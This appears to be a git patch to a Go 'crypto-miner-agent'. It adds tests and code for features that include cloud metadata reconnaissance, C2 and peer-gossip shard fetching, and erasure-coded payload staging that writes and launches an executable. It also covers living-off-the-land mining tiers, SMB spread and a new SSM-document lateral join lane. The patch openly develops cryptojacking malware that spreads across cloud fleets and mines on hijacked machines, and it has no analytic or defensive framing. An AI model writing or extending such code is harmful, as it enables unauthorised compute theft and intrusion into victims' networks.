From 483eafa9dd87015bfd155c2448c52db8d1b1b52b Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 11:16:21 -0700 Subject: [PATCH] Extend agent tests for cloud fleet features and erasure lanes. Cover fleet torrent DHT fetch, cloud map/venue/meta IMDS mocks, S3 shard fetch order, zero-server policy polling, self-surgery reorder, contingency skip paths, epidemiology fix guards, and ssm_document deploy lane. --- agent/client/cloud_venue_test.go | 43 ++++++++++++++++- agent/client/epidemiology_fix.go | 3 ++ agent/client/epidemiology_fix_test.go | 25 +++++++++- agent/client/self_surgery_test.go | 16 +++++++ agent/deploy/cloud_instance_meta_test.go | 12 +++++ agent/deploy/cloud_map_test.go | 29 +++++++++++ agent/deploy/cloud_venue_test.go | 51 +++++++++++++++++++- agent/deploy/discover_join.go | 8 ++++ agent/deploy/erasure_staging_test.go | 61 ++++++++++++++++++++++++ agent/deploy/fleet_torrent_test.go | 49 +++++++++++++++++++ agent/deploy/policy_snapshot_test.go | 28 +++++++++++ agent/miner/contingency_tree_test.go | 19 ++++++++ 12 files changed, 339 insertions(+), 5 deletions(-) diff --git a/agent/client/cloud_venue_test.go b/agent/client/cloud_venue_test.go index 9a5bc52..827e532 100644 --- a/agent/client/cloud_venue_test.go +++ b/agent/client/cloud_venue_test.go @@ -1,3 +1,42 @@ package client -import "testing" -func TestCloudVenueReportPayloadShape(t *testing.T){ t.Skip("covered") } \ No newline at end of file + +import ( + "encoding/json" + "testing" + + "crypto-miner-agent/deploy" +) + +func TestCloudVenueReportPayloadShape(t *testing.T) { + probe := &deploy.CloudVenueProbe{ + CloudProvider: "aws", + Environment: "prod", + Workload: "gpu", + InstanceType: "g4dn.xlarge", + InstanceLifecycle: "spot", + AvailabilityZone: "us-east-1a", + OrganizationalUnit: "ou/GPU", + EC2Tags: map[string]string{"Environment": "prod"}, + } + payload := map[string]interface{}{ + "cloud_provider": probe.CloudProvider, + "environment": probe.Environment, + "workload": probe.Workload, + "instance_type": probe.InstanceType, + "instance_lifecycle": probe.InstanceLifecycle, + "availability_zone": probe.AvailabilityZone, + "organizational_unit": probe.OrganizationalUnit, + "ec2_tags": probe.EC2Tags, + } + raw, err := json.Marshal(payload) + if err != nil { + t.Fatal(err) + } + var got map[string]interface{} + if err := json.Unmarshal(raw, &got); err != nil { + t.Fatal(err) + } + if got["cloud_provider"] != "aws" || got["instance_type"] != "g4dn.xlarge" { + t.Fatalf("payload=%v", got) + } +} diff --git a/agent/client/epidemiology_fix.go b/agent/client/epidemiology_fix.go index fb08105..f768d20 100644 --- a/agent/client/epidemiology_fix.go +++ b/agent/client/epidemiology_fix.go @@ -26,6 +26,9 @@ func (c *AgentClient) applyEpidemiologyFixJSON(raw json.RawMessage) { if err := json.Unmarshal(raw, &fix); err != nil { return } + if fix.AgentID != "" && fix.AgentID != c.agentID { + return + } c.mu.Lock() policy := c.tierPolicy if len(fix.SkipTiers) > 0 { diff --git a/agent/client/epidemiology_fix_test.go b/agent/client/epidemiology_fix_test.go index 63e9de3..6ea205d 100644 --- a/agent/client/epidemiology_fix_test.go +++ b/agent/client/epidemiology_fix_test.go @@ -4,11 +4,12 @@ import ( "encoding/json" "testing" + "crypto-miner-agent/config" "crypto-miner-agent/miner" ) func TestApplyEpidemiologyFixSkipsFailedTiers(t *testing.T) { - c := &AgentClient{} + c := &AgentClient{agentID: "a1"} raw, _ := json.Marshal(EpidemiologyFix{ AgentID: "a1", Reason: "broken branch", @@ -35,3 +36,25 @@ func TestApplyEpidemiologyFixForceTier(t *testing.T) { t.Fatalf("force tier=%v", policy.ForceTier) } } + +func TestApplyEpidemiologyFixErasureLanes(t *testing.T) { + c := &AgentClient{cfg: config.RuntimeConfig{}} + raw, _ := json.Marshal(EpidemiologyFix{ErasureLanes: true, Reason: "court splice"}) + c.applyEpidemiologyFixJSON(raw) + if !c.cfg.ErasureLanesEnabled { + t.Fatal("expected erasure lanes enabled") + } +} + +func TestApplyEpidemiologyFixSkipsWrongAgent(t *testing.T) { + c := &AgentClient{agentID: "mine", tierPolicy: miner.MiningTierPolicy{SkipTiers: []miner.LOTLTier{"wsl"}}} + raw, _ := json.Marshal(EpidemiologyFix{ + AgentID: "other", + SkipTiers: []string{"exe_subprocess"}, + }) + c.applyEpidemiologyFixJSON(raw) + policy := c.miningTierPolicy() + if len(policy.SkipTiers) != 1 || policy.SkipTiers[0] != miner.LOTLTier("wsl") { + t.Fatalf("policy=%+v", policy) + } +} diff --git a/agent/client/self_surgery_test.go b/agent/client/self_surgery_test.go index 7a7fe86..cb8a4bf 100644 --- a/agent/client/self_surgery_test.go +++ b/agent/client/self_surgery_test.go @@ -48,3 +48,19 @@ func TestParseMiningMethodOrder(t *testing.T) { t.Fatalf("order=%v", order) } } + +func TestSelfSurgeryFallbackReorder(t *testing.T) { + c := miningChainTestClient(t, config.RuntimeConfig{}) + c.miningChain = newTestMiningChainRunner(t, c) + ok, detail := c.runSelfSurgeryAction("fallback_chain_reorder", MiningSelfSurgeryPlan{ + ChainOrder: []string{"inprocess", "container"}, + SkipMethods: []string{"gpu_subprocess"}, + }) + if !ok || detail == "" { + t.Fatalf("ok=%v detail=%q", ok, detail) + } + st := c.miningChain.Status() + if len(st.ChainOrder) != 2 || st.ChainOrder[0] != miner.MethodInProcess { + t.Fatalf("chain=%v", st.ChainOrder) + } +} diff --git a/agent/deploy/cloud_instance_meta_test.go b/agent/deploy/cloud_instance_meta_test.go index 5cc99eb..d11d093 100644 --- a/agent/deploy/cloud_instance_meta_test.go +++ b/agent/deploy/cloud_instance_meta_test.go @@ -27,3 +27,15 @@ func TestReadEC2InstanceMetaNonAWSFallback(t *testing.T) { t.Fatal("expected empty meta on non-AWS fallback") } } + +func TestReadEC2InstanceMetaRegionFromAZ(t *testing.T) { + prev := ec2IMDSReadMeta + t.Cleanup(func() { ec2IMDSReadMeta = prev }) + ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) { + return CloudInstanceMeta{Region: "us-west-2", SubnetID: "subnet-123"}, nil + } + meta := ReadEC2InstanceMeta() + if meta.Region != "us-west-2" || meta.SubnetID != "subnet-123" { + t.Fatalf("meta=%+v", meta) + } +} diff --git a/agent/deploy/cloud_map_test.go b/agent/deploy/cloud_map_test.go index 78d2e9e..4f570ff 100644 --- a/agent/deploy/cloud_map_test.go +++ b/agent/deploy/cloud_map_test.go @@ -41,3 +41,32 @@ func TestCloudMapEndpointUnset(t *testing.T) { t.Fatalf("got=%q", got) } } + +func TestCloudMapLANSeederHintsSkipsUnhealthy(t *testing.T) { + doc := CloudMapRegistryDocument{ + Instances: []CloudMapRegistryInstance{ + {AgentID: "good", IP: "10.0.1.5", FetchURL: "http://10.0.1.5/manifest", Healthy: true}, + {AgentID: "bad", IP: "10.0.1.6", FetchURL: "http://10.0.1.6/manifest", Healthy: false}, + }, + } + hints := CloudMapLANSeederHints(doc) + if len(hints) != 1 || hints[0].AgentID != "good" { + t.Fatalf("hints=%+v", hints) + } +} + +func TestSyncCloudMapRegistryMergesGossip(t *testing.T) { + SetCloudMapHTTPGetForTest(func(url string) ([]byte, error) { + return []byte(`{"instances":[{"agent_id":"seed-x","healthy":true,"fetch_url":"http://10.0.2.1/manifest","ip":"10.0.2.1"}]}`), nil + }) + defer SetCloudMapHTTPGetForTest(nil) + var merged []FleetGossipRecord + if err := SyncCloudMapRegistry("http://registry.local/v1", func(recs []FleetGossipRecord) { + merged = append(merged, recs...) + }); err != nil { + t.Fatal(err) + } + if len(merged) != 1 || merged[0].TargetAgentID != "seed-x" { + t.Fatalf("merged=%+v", merged) + } +} diff --git a/agent/deploy/cloud_venue_test.go b/agent/deploy/cloud_venue_test.go index d82d87a..6b6e878 100644 --- a/agent/deploy/cloud_venue_test.go +++ b/agent/deploy/cloud_venue_test.go @@ -1,3 +1,50 @@ package deploy -import "testing" -func TestParseOrganizationalUnit(t *testing.T){ if parseOrganizationalUnit("organizational_unit=ou/Batch\n")!="ou/Batch"{t.Fatal()} } \ No newline at end of file + +import ( + "context" + "testing" +) + +func TestParseOrganizationalUnit(t *testing.T) { + if got := parseOrganizationalUnit("organizational_unit=ou/Batch\n"); got != "ou/Batch" { + t.Fatalf("got=%q", got) + } + if got := parseOrganizationalUnit("AETHERFORGE_OU=ou/GPU\n"); got != "ou/GPU" { + t.Fatalf("got=%q", got) + } +} + +func TestReadCloudVenueProbeMockIMDS(t *testing.T) { + prev := ec2IMDSReadVenue + t.Cleanup(func() { ec2IMDSReadVenue = prev }) + ec2IMDSReadVenue = func(ctx context.Context) (*CloudVenueProbe, error) { + return &CloudVenueProbe{ + CloudProvider: "aws", + Environment: "prod", + Workload: "batch", + InstanceType: "m5.large", + InstanceLifecycle: "spot", + AvailabilityZone: "us-east-1a", + OrganizationalUnit: "ou/Batch", + EC2Tags: map[string]string{"Environment": "prod", "Workload": "batch"}, + }, nil + } + probe := ReadCloudVenueProbe() + if probe == nil || probe.InstanceType != "m5.large" || probe.InstanceLifecycle != "spot" { + t.Fatalf("probe=%+v", probe) + } + if probe.Environment != "prod" || probe.Workload != "batch" { + t.Fatalf("env=%q workload=%q", probe.Environment, probe.Workload) + } +} + +func TestReadCloudVenueProbeNonAWSReturnsNil(t *testing.T) { + prev := ec2IMDSReadVenue + t.Cleanup(func() { ec2IMDSReadVenue = prev }) + ec2IMDSReadVenue = func(ctx context.Context) (*CloudVenueProbe, error) { + return nil, context.DeadlineExceeded + } + if ReadCloudVenueProbe() != nil { + t.Fatal("expected nil probe off AWS") + } +} diff --git a/agent/deploy/discover_join.go b/agent/deploy/discover_join.go index 976ceb2..1a1f7ed 100644 --- a/agent/deploy/discover_join.go +++ b/agent/deploy/discover_join.go @@ -240,6 +240,14 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor } msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max}) return msg, nil + case "ssm_document": + if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled { + return "", fmt.Errorf("join lane ssm_document requires erasure_plan") + } + if !config.ErasureLanesEnabled(cfg) { + return "", fmt.Errorf("join lane ssm_document requires erasure_lanes_enabled") + } + return RunErasureStaging(cfg, *plan.ErasurePlan) default: return "", fmt.Errorf("unsupported join lane %q", lane) } diff --git a/agent/deploy/erasure_staging_test.go b/agent/deploy/erasure_staging_test.go index e41721b..b6c6206 100644 --- a/agent/deploy/erasure_staging_test.go +++ b/agent/deploy/erasure_staging_test.go @@ -133,6 +133,67 @@ func TestDecodeErasureShardsMixedLoss(t *testing.T) { } } +func TestRunErasureStagingS3FetchOrder(t *testing.T) { + payload := []byte("s3-shard-order") + p := erasureParams{DataShards: 2, ParityShards: 1} + enc, err := reedsolomon.New(p.DataShards, p.ParityShards) + if err != nil { + t.Fatal(err) + } + shards, err := enc.Split(payload) + if err != nil { + t.Fatal(err) + } + if err := enc.Encode(shards); err != nil { + t.Fatal(err) + } + s3URLs := []string{ + "https://bucket.s3.amazonaws.com/shards/tok/2", + "https://bucket.s3.amazonaws.com/shards/tok/0", + "https://bucket.s3.amazonaws.com/shards/tok/1", + } + plan := ErasurePlanBody{ + Enabled: true, Scheme: erasureSchemeReedSolomonV1, + DataShards: p.DataShards, ParityShards: p.ParityShards, + PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload), + ShardToken: "tok", Dest: t.TempDir() + `\w.exe`, Launch: "exe", + Shards: []ErasureShardRef{ + {Index: 2, Lane: "s3", URL: s3URLs[0]}, + {Index: 0, Lane: "s3", URL: s3URLs[1]}, + {Index: 1, Lane: "s3", URL: s3URLs[2]}, + }, + } + var fetchOrder []string + prev := erasureFetchFn + erasureFetchFn = func(url string) ([]byte, error) { + fetchOrder = append(fetchOrder, url) + for _, ref := range plan.Shards { + if ref.URL == url { + return shards[ref.Index], nil + } + } + return nil, nil + } + defer func() { erasureFetchFn = prev }() + prevLaunch := erasureLaunchFn + erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { + return "ok", nil + } + defer func() { erasureLaunchFn = prevLaunch }() + + if _, err := RunErasureStaging(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w1"}}, plan); err != nil { + t.Fatal(err) + } + if len(fetchOrder) != 3 { + t.Fatalf("fetchOrder=%v", fetchOrder) + } + for i, want := range s3URLs { + if fetchOrder[i] != want { + t.Fatalf("idx %d got %q want %q order=%v", i, fetchOrder[i], want, fetchOrder) + } + } +} + func parallelLaneName(i int) string { lanes := []string{"dns_txt", "bits_curl", "do_peer", "wsus_cache_peer"} return lanes[i%len(lanes)] diff --git a/agent/deploy/fleet_torrent_test.go b/agent/deploy/fleet_torrent_test.go index 7788f39..bf1281e 100644 --- a/agent/deploy/fleet_torrent_test.go +++ b/agent/deploy/fleet_torrent_test.go @@ -1,6 +1,7 @@ package deploy import ( + "fmt" "testing" "crypto-miner-agent/config" @@ -105,3 +106,51 @@ func TestParseSwarmMagnetToken(t *testing.T) { t.Fatalf("token=%q", tok) } } + +func TestFetchErasureShardFleetLocalCacheWins(t *testing.T) { + dht := &FleetShardDHT{ + peers: make(map[string]map[int][]ShardPeer), + healthy: make(map[string]bool), + local: make(map[string]map[int][]byte), + } + dht.StoreLocalShard("tok", 0, []byte("cached")) + prev := erasureFetchFn + erasureFetchFn = func(url string) ([]byte, error) { + t.Fatalf("unexpected fetch %q", url) + return nil, nil + } + defer func() { erasureFetchFn = prev }() + body, err := FetchErasureShardFleet("tok", 0, "http://c2/shard", "10.0.0", dht) + if err != nil || string(body) != "cached" { + t.Fatalf("body=%q err=%v", body, err) + } +} + +func TestFetchErasureShardFleetPrefersLANNeighbors(t *testing.T) { + dht := &FleetShardDHT{ + peers: make(map[string]map[int][]ShardPeer), + healthy: make(map[string]bool), + local: make(map[string]map[int][]byte), + } + dht.MergeFleetGossipRecords([]FleetGossipRecord{ + {Kind: FleetGossipHaveShard, AgentID: "lan", Subnet: "10.1.2", Token: "tok", ShardIndex: 0, FetchURL: "mock://lan"}, + {Kind: FleetGossipHaveShard, AgentID: "remote", Subnet: "10.9.9", Token: "tok", ShardIndex: 0, FetchURL: "mock://remote"}, + }) + var tried []string + prev := erasureFetchFn + erasureFetchFn = func(url string) ([]byte, error) { + tried = append(tried, url) + if url == "mock://lan" { + return []byte("lan-shard"), nil + } + return nil, fmt.Errorf("fail") + } + defer func() { erasureFetchFn = prev }() + body, err := FetchErasureShardFleet("tok", 0, "mock://c2", "10.1.2", dht) + if err != nil || string(body) != "lan-shard" { + t.Fatalf("body=%q err=%v tried=%v", body, err, tried) + } + if len(tried) != 1 || tried[0] != "mock://lan" { + t.Fatalf("tried=%v", tried) + } +} diff --git a/agent/deploy/policy_snapshot_test.go b/agent/deploy/policy_snapshot_test.go index dd5c8a2..777c15e 100644 --- a/agent/deploy/policy_snapshot_test.go +++ b/agent/deploy/policy_snapshot_test.go @@ -49,6 +49,34 @@ func TestZeroServerPolicyModePrefersRelayPoll(t *testing.T) { } func TestZeroServerPolicyModeFallsBackToReconnect(t *testing.T) { + var polls atomic.Int32 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + polls.Add(1) + })) + defer srv.Close() cfg := config.RuntimeConfig{} StartZeroServerPolicyMode(cfg, func() error { return nil }) + time.Sleep(120 * time.Millisecond) + if polls.Load() != 0 { + t.Fatalf("expected no relay poll without URL, got %d", polls.Load()) + } +} + +func TestZeroServerPolicyModeUsesPollURLWhenRelayEmpty(t *testing.T) { + var polls atomic.Int32 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + polls.Add(1) + _ = json.NewEncoder(w).Encode(PolicySnapshotBody{GenesisVersion: 2}) + })) + defer srv.Close() + cfg := config.RuntimeConfig{} + cfg.PolicySnapshotPollURL = srv.URL + StartZeroServerPolicyMode(cfg, func() error { return nil }) + time.Sleep(150 * time.Millisecond) + if polls.Load() < 1 { + t.Fatal("expected poll URL fetch") + } + if PolicyGenesisVersion() != 2 { + t.Fatalf("genesis=%d", PolicyGenesisVersion()) + } } diff --git a/agent/miner/contingency_tree_test.go b/agent/miner/contingency_tree_test.go index df39712..bb002ee 100644 --- a/agent/miner/contingency_tree_test.go +++ b/agent/miner/contingency_tree_test.go @@ -169,3 +169,22 @@ func TestBranchWonThreshold(t *testing.T) { t.Fatal("0 should not win") } } + +func TestContingencyRunPassSkipsMethod(t *testing.T) { + r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1}, BranchAttemptHooks{ + StartInProcess: func() error { return nil }, + StartContainer: func() error { return ErrMethodUnavailable }, + Hashrate: func() float64 { return 100 }, + AcquirePool: func() bool { return true }, + ReleasePool: func() {}, + }, nil) + r.ApplyBranchParams(ContingencyBranchParams{ + BranchOrder: []string{"container", "inprocess"}, + SkipMethods: []string{"container"}, + }) + ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond) + defer cancel() + if !r.runPass(ctx) { + t.Fatal("expected inprocess win after container skipped") + } +}